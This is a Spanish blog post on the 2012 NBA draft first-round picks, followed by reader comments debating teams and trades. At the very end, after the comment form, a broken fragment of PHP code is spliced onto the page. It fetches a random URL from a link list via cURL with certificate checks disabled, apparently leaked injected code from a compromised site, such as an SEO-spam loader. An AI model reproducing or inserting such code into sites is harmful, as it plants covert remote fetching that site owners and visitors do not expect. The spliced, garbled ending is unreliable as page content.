Draft 2012

29 de June de 2012 por TheDeerHunter

Noche de draft, noche de sueños e ilusiones que tuvo un amplio seguimiento entre los seguidores de TJNBA. También noche de sorpresas. Repasamos las principales elecciones de primera ronda:

1.- Hornets – Anthony Davis (PF): La elección más obvia. El híbrido de Duncan/Garnett dicen, defensor monumental. El unicejo va a ponerse de moda.

2.- Bobcats – Michael Kidd-Gilchrist (SF): División de opiniones partiendo de la base que huele a carne de traspaso. Muchos creen que es efectivamente el segundo mejor jugador de este draft pero más aún creen que no es la elección ideal para ellos.

3.- Wizards – Bradley Beal (SG): Cantado, que dijo nuestro analista. El mejor tirador del draft y la escuadra de la capital adquiere una pintaza tremenda.

4.- Cavaliers- Dion Waiters (SG): Pasote de ascensión del chaval. Hace un mes formaba parte de los despojos de la primera ronda. La estancia en Las Vegas y las distintas declaraciones públicas le han beneficiado mucho. Combo-guard muy completo, decíamos. A ver cómo combina con Kyrie Irving.

5.- Kings – Thomas Robinson (PF): Clavado también en nuestro mock. El guardaespaldas ideal para Cousins, parece. Duro y gran reboteador.

6.- Blazers – Damian Lillard (PG): Había el run-run que lo elegiría Portland, aunque nadie creía que utilizaría esta elección para ello. No han querido arriesgar y han demostrado que su prioridad era un director de juego. Base eficiente, duro, buen anotador. Ha de mejorar su visión de juego pero parece que es un aplicado trabajador.

7.- Warriors – Harrison Barnes (SF): Constante en el top-7 de todos los mocks previos, pero en las últimas semanas se había especulado que se había salido en sus pruebas. Por lo visto no fue para tanto y se ha quedado aquí… Las malas lenguas dicen que los Warriors preferían ahora a Waiters. No parece mal premio de consolación.

8.- Raptors – Terrence Ross (SG): Fría acogida al pick de los Raptors. 2-3 atlético con buena mano, que puede combinar bien con DeRozan. Nadie lo esperaba tan alto.

9.- Pistons – Andre Drummond (C): Batacazo tremebundo del hombre grande más prometedor de este draft. Diríamos que los Pistons habrán abierto alguna botella de champán por blindar a Monroe con este “bicharraco”.

10.- Hornets – Austin Rivers (SG): Sorprende un poco la elección con Gordon de por medio. Esperábamos un base. Huele a que se descuenta la salida de Gordon tarde o temprano. Rivers es un buen amigo de Davis y el técnico Williams es un buen amigo de su padre. Sabrá encontrarle utilidad.

11.- Blazers – Meyers Leonard (C): Acertamos con las necesidades de la franquicia pero no en el orden de prioridades. Leonard es un bicharraco de 7-1 pero está un poco verde.

12.- Rockets – Jeremy Lamb (SG): Los Rockets tiran la casa por la ventana por un proyecto de robazo del draft. Madera de crack al que le hace falta unas cuantas tazas de caldito de pollo. Martin de mi vida… ya sabes por donde anda la puerta de salida.

13.- Suns – Kendall Marshall (PG): Buscando al nuevo Nash. ¿Se da por hecho el adiós de éste? Elección un poco alta para algunos pero es un gran pasador, coherente con la filosofía establecida.

14.- Bucks – John Henson (PF): El mejor intimidador de este draft. Hipotético top 10. Los Bucks se han movido bien para tenerle.

15.- Sixers – Mo Harkless (SF): Sorprende la elección. No tanto por el talento del jugador, una especie de versión de Ariza, sino por entrar en un equipo con tanto alero no-tirador.

16.- Rockets – Royce White (SF): Empeñados en liarla parda. De all-in en all-in… Los que le conocen apuntan a una especie de versión de Lamar Odom, con ciertos desórdenes psicológicos (tiene pánico a volar). Jugones de altísimo riesgo.

17.- Mavericks – Tyler Zeller (C): Uno de los batacazos más significativos. Uno podría pensar que podría hacer buen papel al lado de Dirk, sin embargo hace las maletas para Cleveland a cambio de la 24 y dos segundas rondas. Puede ser un interesante movimiento para ellos.

18.- Rockets – Terrence Jones (PF): Otro batacazo que podría haber entrado a un hipotético top 8. Condiciones tiene pero le falta cabeza y constancia.

19.- Magic – Andrew Nichoson (PF): Algunos le apuntan como infravalorado. Buen jugador al poste pero escaso de físico. A priori podría combinar bien con Howard.

20.- Nuggets – Evan Fournier (SG): Los Nuggets pescando nuevamente en Europa. Se duda si contarán con él este año o le dejaran curtirse algo más en Francia. Sorprendente elección.

21.- Celtics – Jared Sullinger (PF): Elección de alto riesgo pero que podría llegar a ser el verdadero robo del draft. Sin esos supuestos problemas físicos es el segundo mejor interior de este draft.

22.- Celtics – Fab Melo (C): Intimidador en la pintura. Más que correcta elección que cubre necesidades inmediatas del equipo.

28.- Thunder – Perry Jones (PF): Otro batacazo de envergadura. Los Thunder se gastan una elección que poca falta les hacía pero que les puede hacer de oro.

32.- Wizards – Tomas Satoransky (SG): El jugador del Banca Cívica sale en los primeros puestos de 2ª ronda. Por allí les ha encantado ver a un jugador tan alto con tan buen trato de balón. Veremos si evoluciona durante un par de años más y da el salto.

35.- Warriors – Draymond Green (SF): El líder de los Spartans ha estado siempre a caballo entre la primera y segunda ronda. Al final no lo han escogido los Pacers en la 26 (han preferido a Plumlle en una selección de la que creo se arrepentirán) y ha caído algunos puestos más de los previstos. Buen fichaje para los Warriors.

38.- Denver Nuggets – Quincy Miller (SF): Una grave lesión de rodilla de la que parece no haberse recuperado del todo ha hecho caer a una de las grandes estrellas del instituto de hacer un par de años. Dicen que los ACL tardan 2 años en curarse del todo. Veremos cual es su nivel después de su temporada rookie.

48.- Knicks – Kostas Papanikolau (SF): Los últimos días el griego había sonada para los últimos puestos de la 1ª ronda pero finalmente han sido los Knicks los que han apostado por él en las últimas elecciones. Puede estar tranquilo. Lo que ha de hacer es seguir mejorando y cuando llegue el momento negociar su contrato al estilo Marc Gasol. Mejor salir aquí que el 29.

58.- Timberwolves – Robbie Hummel (SF): Dos gravísimas lesiones de rodilla no han acabado todavía con el sueño de Hummel de jugar en la NBA. Luchador incansable, con un instinto de superación a prueba de bombas, lo querría siempre en mi equipo.

Comenta

19 comentarios a esta entrada

  1. Sancho88(noobtotal) dice:
    #1

    Creo que un año más, the winner is…. BOSTON CELTICS!! Jared Sullinger y Fab Melo en el 20-21… robo de los gordos. Estos tíos cazan que da gusto, el año pasado con Bradley y ahora con dos jugadores que van a competir desde el principio junto a la jauría de perros. Ainge es el jefazo de los despachos. Candidato al mejor GM para mí desde ya. A ver qué pasa con Garnett y Allen, pero creo que volverán a optar a finales de conferencia… sensacional

      Citar

  2. Sancho88 dice:
    #2

    Y ahora bajo mi ki energético en modo noche del draft y vuelvo a ser el de siempre. Ayer fui noob, hoy desciendo de rango incluso más, xD

      Citar

  3. Slo dice:
    #3

    ¿La corbata de Meyers Leonard era un giño a Portland?

    ¿Hay alguna razón de peso por el batacazo de Zeller?

      Citar

  4. jona dice:
    #4

    Barnes premio de consolación? Estamos locos? Ese hombre es una máquina.

      Citar

  5. Esteban dice:
    #5

    exelente deer, me encanto
    doy mis opiniones de cosas curiosas

    el ojo de los reclutadores de los cavs, por segundo año consecutivo usan su pick 4, en un chaval que los mock lo daban del 10 para abajo, el año pasado thompson y ahora waiters (quien supuestamente iba a los suns en el 13), o tienen muy buen ojo o muy malo, lo que es seguro, que es diferente al del resto

    sullinger en boston, no lo veo, es un tio que podra sumar buenos numeros en equipos malos, de ahi que tengo idea que partira a otro equipo, donde puede ser un buen “hace numeros”, al mejor estilo boozer

    al thunder los planetas se le alinean, pocos equipos pueden esperar a sus rookie todo lo que este necesite, sin necesitar ellos de el, y esos son los thunder, quiza uno de los hombres que mas le interesaban a presti, un 4 agil, rapido y con poder de tiro y terminacion, lo que le dan como hombre gol, exactamente lo que no tiene el thunder en su equipo, si lo llevan e a poco puede ser un hombre calve en su rotacion, el papel de decimo quinta espada en el equipo lo puede beneficiar, a todas luces un robo en el puiesto 28

    creo que los bobcats eligen a MKG, para traspasarlo y sacar algo bueno de el, es quiza el jugador con un futuro mas claro del draft, siempre sera un defensor de elite, un ganador y un volcador de balones en contraataque, no mucho mas, pero eso lo es seguro, no se si es lo que necesitan los bobcats ahora, pero bueno, otro mal año y a busacar el talento ofensivo en el prox draft

    barnes me parece un robo en el 7, no se q vieron los cavs, pero yo haria un waiters por barnes, mas alguna otra cosilla por las ganas de tener a waiters que tienen los warriors

    en fin, ahora se esperan los movimientos

      Citar

  6. Ru dice:
    #6

    Yo estoy bajo la corriente de que Boston ha sido el gran triunfador de la noche junto a NOLA,aunque de éste se esperaba tal asunto.Sullinger y Fab Melo suponen dos grandes incorporaciones a un equipo con un entrenador de muchos quilates,además que pensando en ellos dos como futuro a corto plazo en los C’s (cuento con que KG sigue al menos 1 año) congenian de put…..lujo.No creo que Sullinger sea un hacenúmeros de equipos menores.

    NOLA…es una incógnita Rivers-Gordon,para mí.Por estilo de ambos parece que el hijo de Doc será 6º hombre pero no creo que haya tanta necesidad de ganar ya,van a gastarse un máximo en Eric Gordon para que Rivers salga desde el banquillo..?¿ viendo la cantidad de cañas que van a echar sobre el escolta,si quieren un equipo ganador pueden trasapar a Gordon por 2 buenos complementos y hacer un equipo más competitivo.

    Siguiendo a Boston y NOLA,pondría a Sacramento y Golden State como ganadores del draft.

    A mí la elección de Kidd-Gilchrist me gusta y creo que está condicionada por el traspaso previo que llevo los huesos de Ben Gordon al equipo y al estilo de Dunlap.Eso sí,siguen necesitando un 4 que anote y en líneas generales el equipo mejorará pero seguirá en las últimas posiciones del este.

    La elección de Nuggets supongo que lo habrán hecho pensando en que tienen el roster completo y bastantes jóvenes.Mantener al jugador en Europa mientras progresa allí es buena idea para el futuro.

    En la parte negativa los Cavs y los Raptors.Los Raptors van a progresar muy poco con Ross,parece que lo fian todo a la llegada de Valenciunas y la incorporación de Nash(difícil se me hace),y Cavs cedieron ante el hype de Waiters que no sé como va a complementarse con Irving.

      Citar

  7. Esteban dice:
    #7

    Ru, digo lo de hace numeros de sullinger por su tamaño, un hombre que domina a sus rivales por su fisico, sobretodo en la NCAA, pero en la nba y sobretodo en PO, su fuerza no valda de mucho, nos hemos cansado de ver a boozer marcar 30 puntos en temporada regular y en PO donde las marcan van al hueso y lo marcan hombres grandes enserio, caso gasol y bynum, no puede prevalacer

    es una impresion… la tecnica se mejora, la altura no…

    Ru te agrego a GS como ganador del draft, estaban como locos buscando un alero y lo han conseguido, barnes es muy bueno, y si bien seria poco defensor para lo que los garrios necesitan, se puede prestar bien a un trade, por deng por ejemplo, u otro alero que les guste

      Citar

  8. melo15 dice:
    #8

    Esteban Kidd-Gilchrist tiene sus principales carencias en el tiro y el manejo de balo, algo mejorable con una buena etica de trabajo y Michael Kidd-Gilchrist es un trabajador incansable, aparte de un lider y un tio con personalidad que le vendra muy bien a Charlotte. Recuerdo que fue Michael el que lidero en anotacion a los Wildcats en los ultimos partidos del March Madness.
    Me parece un error haber drafteado a Rivers, los Hornets se la tendrian que haber jugado y ir a por un pivot un alero.
    Sullinger es muy parecido a Boozer, buenos anotadores y reboteadores pero Sullinger es de otra pasta, a mi juicio es un tio que no se arruga y que va a hacer un papelazo con los Celtics.

    Barnes es muy bueno tecnicamente y es muy atletico pero no utiliza esa zancada y esa explosividad para penetrar constantemente y prefiere tirar desde media larga distancia. Ademas se cuestiona se capacidad de liderazgo que no ha ejercido en UNC, donde el verdadero lider ha sido Zeller.

    El perdedor absoluto ha sido Cleveland, Waiters como escolta es un numero 15, es como base donde podeia maracr diferencias y en los Cavs no lo pordra hacer.

      Citar

  9. Esteban dice:
    #9

    no todos los picks top 10 deben ser cracks y lideres, sino todos los años habria 10 lideres nuevos en la liga, seria una liga de lideres, quiza barnes no sea un lider total, pero un pick 7, tan atletico joven y capaz de anotar como el, creo que es una golazo

    malo sobre los cavs algo parecido dijimos el año pasado, cuando sorpresivasmente tomaron a tristan thompson en el puesto 4 cuando los mock lo daban por el 10, y al final de la temporada todos lo consideran un acierto, pues si bien esta muy verde tiene un fisico genial y un margen de mejora que ya se le ha empezado a notar desde el primer partiodo hasta ahora

    vuelven a sorprender, yo me hubiese quedado con barnes principalmente en el pick 4, y antes que a waiters me quedaba con drummond o rosbinson, aunque en principio no sea lo que necesiten, son muy valiosos para un trade, pero por algo lo hicieron el año pasado y algo este, puede ser una grata sorpresa

      Citar

  10. melo15 dice:
    #10

    De acuerdo Esteban, esta bien para un pick 7 pero no mas. Barnes sera un Danny Granger, pero nunca una primera espada que lidere un equipo y eso si busca en el Top-5.
    Creo que Michael Kidd-Gilchrsit sera el nuevo Pippen, solo le falta aprender a hablar y ya esta!

      Citar

  11. txusma dice:
    #11

    En algún sitio se especulaba con que Austin Rivers pudiera acabar convertido en base. Yo no lo veo claro como no veo claro un equipo con Gordon, Austin y además Jack y Vazquez. Mucho escolta veo por ahí. Si se queda Gordon, el quinteto sería Jack-Gordon-Aminu-???-Davis, con Vazquez, Rivers, Henry en el banco. Y aún queda Bellinelli que podría renovar. Creo q un alero o un ala-pívot habrían ido mejor pero no quedaba nada. Henson es como Davis. Sullinger habría sido perfecto sinó fuera por los problemas de espalda. Andrew Nicholson hubiese sido LA apuesta.

    Y se hablan maravillas de Evan Fournier. Con 19 años ya ha sido el líder de su equipo. Hay q seguirle la pista muy de cerca.

      Citar

  12. Esteban dice:
    #12

    comparto txuma, sullinger hubiese llegado a cubrir el hueco que tenian en el 4, y su poder anotador hubiese funcionado a la perfeccion con davis, ademas a la sombra de este, no se hubiese notado tanto sus falencias, en fin, una pena esa lesion, si se hubiese presentado el año pasado y no le detectaban eso hubiese sido el pick 2, estoy seguro

    carl landry puede ser ese 4, si lo renuevan, es un sullinger con mas años

    cosa aparte, interesante mezcla le estan haciendo a mark jackson en GSW, sin dudas es un lio ese equipo, nadie se conoce, curry viene de una lesion, klay afronta su segundo año con mucha presion y barnes es rookie, ademas de no saber como saldra de su lesion bogut, pero sin dudas es el equipo con mas potencial que han presentado los warriors desde el BELIEVE, prueba de fuego para jackson, a todo o nada, o los mete en PO y hacen un buen papel o se come una mancha muuy negra en su corto historial como entrenador

      Citar

  13. Esteban dice:
    #13

    basket4us habla de un trade, derrick williams, por pau, que se completaria con algo mas, q no seria gran cosa

    soy el unico que no se desvive por williams? no me parece excesivamente malo, pero de ahi a cambiarlo por gasol, no le veo seriedad

      Citar

  14. TheDeerHunter dice:
    #14

    jona:
    Barnes premio de consolación? Estamos locos? Ese hombre es una máquina.

    Era pura ironía. Extraña que Barnes caiga tan abajo… pero más extraña que luego se filtre que los Warriors querían a otro.

      Citar

  15. Ru dice:
    #15

    Yo no acabo de ver lo de Gasol en los Wolves,es más me parece más que interesante el papel de Derrick Williams como rotación de 3/4.Gasol vendría de pívot y está claro que supone una diferencia respecto a Pekovic,pero ojo,el balcánico ha hecho un temporadón y lo considero un tio superválido.Para mí sigue faltando ese 2 que eleve el equipo a PO’s.

    Sobre los Hornets.No paro de leer que A.Davis va a jugar de 4 por su falta de kilos y su gran movilidad,a largo plazo ya veremos donde se define pero de momento para jugar de AP tiene que mejorar su tiro a media distancia.

    Esta temporada que vendrá tengo muchísimas ganas de ver si Klay Thompson consolida su última parte de la temporada pasada,se está confiando muchísimo en él pero veremos.

      Citar

  16. Sancho88 dice:
    #16

    Klay Thompson me encanta, solamente se le fue la olla el día que se comparó con Ginobili, pero nada más, jejej. Y yo tampoco me desvivo por Williams. Muy poderoso y físico, muy fuerte, pero le veo muy lento y dependiente totalmente de un base que lo alimente, cosa que no ocurrirá en Lakers. Supongo que si lo fichan será para defender…

      Citar

  17. Esteban dice:
    #17

    quiza un trade pau por derrick williams, beasley y barea tenga mas sentido, en cuanto a salarios y por q ademas lios lakers recibirian un base y un ala pivote mas, que en realidad necesitan,

    seria una inyeccion de gente mas joven en los lakers, pero no creo que los lleven mas alla

    se me hace que entre hoy y mañana, antes de que se le que caduque, utilizaran la trade expection de odom en CALDERON, ya que es uno de los pocos bases con un año de contrato y un buen nivel, que se equipo esta dispuesto a darlo a cambio de espacio (el otro hubiese sido Mo),

    con calderon rezorfarian seriamente la base sin desprenderse de gasol, o aun desprendiendose de pau podria traer jugadores en otros puestos y no en la base

      Citar

  18. Uno cualquiera dice:
    #18

    Pues yo creo que un base como Calderón en los Lakers no encajaría en exceso: entre su “férrea” defensa y que para amasar el balón ya está Kobe, no lo acabo de ver…

      Citar

  19. Sancho88 dice:
    #19

    Amasar el balón Calde?? Hombre, sube la bola, marca jugada y espera a ver el mejor pase, para mí no es nada egoísta, si no no estaría todos los años entre los mejores cinco pasadores de la liga… creo que sería ideal para Bryant para darle asistencias. Si ha logrado promediar casi 10 pases de canasta en los Raptors con LaZorra y demás peña… vamos, con Bryant estaría en el paraíso. Conectaría bien con él, porque a Calde le gusta pasar y a Bryant le gusta que le den pases, aunque realmente lo que le gusta a Bryant es generarse su propia jugada, pero no sé, a mí sí me cuadra como un jugador que podría aportar grandes cosas en los Lakers…

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>